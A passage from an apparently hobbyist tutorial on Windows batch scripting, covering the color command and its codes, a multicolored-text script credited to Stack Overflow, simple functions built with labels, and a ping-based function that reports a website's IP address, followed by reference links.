Above program takes three arguments, then print their sum. Make sure run this script via command line.


Coloring in Batch Script:

To create a color-full Batch script use color command, with this command we can change the text color as well as background color. The color code of Batch script is 

0 = Black      8 = Gray
1 = Blue        9 = Light blue
2 = Green     A = Light green
3= Aqua       B = Light aqua
4 = Red        C = Light red
5 = Purple     D = Light purple
6 = Yellow    E = Light yellow
7 = White      F = Bright white

For more info about color command type 'color /?' in command prompt. To change the text color only type 

Syntax    :    color [color code]
Example :    color a

For changing text and background color use :

Syntax    :    color [background color][text color]
Example :    color 1a

try out this command with different combinations of colors.

Multicolored Batch Script:

Now here is a Batch Script which shows multiple colors in a single script :
 
 @echo off  
 setlocal EnableDelayedExpansion  
 for /F "tokens=1,2 delims=#" %%a in ('"prompt #$H#$E# & echo on & for %%b in (1) do rem"') do (  
  set "DEL=%%a"  
 )  
 rem Prepare a file "X" with only one dot  
 <nul > X set /p ".=."  
 echo.  
 call :color 0a "  Hello Guys This IS Test....    "  
 echo.  
 call :color 0b " This IS The Second Colour........  "  
 echo.  
 call :color 0c " This IS The Third Colour........  "  
 echo.  
 echo.  
 pause >nul  
 del X  
 exit /b  
 :color  
 set "param=^%~2" !  
 set "param=!param:"=\"!"  
 findstr /p /A:%1 "." "!param!\..\X" nul  
 <nul set /p ".=%DEL%%DEL%%DEL%%DEL%%DEL%%DEL%%DEL%"  
 exit /b  

Script source page :

http://stackoverflow.com/questions/4339649/how-to-have-multiple-colors-in-a-batch-file/5344911%235344911

Functions in Batch Script:

We can also create functions in Batch programming. Functions are simply a reusable piece of code, in Batch programming a function is creates using a Label and goto :EOF command. Here is an Example of a simple function

 :print  
 Echo Hello this is my first function.  
 Echo Which Prints this Message.  
 Goto :EOF   

A function can be called by call command which followed by function's label.

Example :    call :print

So the above script look like this
 @echo off   
 call :print  
 pause > nul  
 exit/b  
 :print  
 Echo Hello this is my first function.  
 Echo Which Prints this Message.  
 Goto :EOF  

for more information and detailed tutorial about functions check out below link

http://commandline.co.uk/lib/treeview/index.php
http://www.dostips.com/DtTutoFunctions.php

Now here is function written by me which returns the IP address of given website url

 @echo off & setlocal ENABLEEXTENSIONS  
 echo.  
 set /p url="Enter The WEBSITE URL : "  
 call :SiteIp %url% ip  
 echo.  
 echo The IP Address of %url% is : %ip%   
 pause > nul  
 goto :EOF  
 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::  
 :SiteIp %address% ip  
 ::  
 :: Func: Return the IP address of given Website URl.   
 ::    If function fails, it shows "Problem in Connection.??"  
 ::  
 :: Args: %1 var for WebSite URl & %2 to receive IP Address.   
 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::  
 setlocal ENABLEEXTENSIONS & set "ans=Problem in Connection.??"  
 for /f "tokens=3" %%a in ('ping -n 1 %1^|findstr /B Pinging') do ( set d=%%a)  
 if exist %d%=nul ( endlocal & set "%2=%ans%" & goto :EOF)  
 for /f "delims=[]" %%b in ('echo %d%') do ( set data=%%b )  
 endlocal & set "%2=%data%"  
 goto :EOF  
 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::  


In this below link has a huge collection of ready made functions

http://www.dostips.com/DtCodeCmdLib.php

Here is the list of links for Batch Scripting References :

http://www.dostips.com/
http://ss64.com/nt/
http://en.wikibooks.org/wiki/Windows_Batch_Scripting

Read more »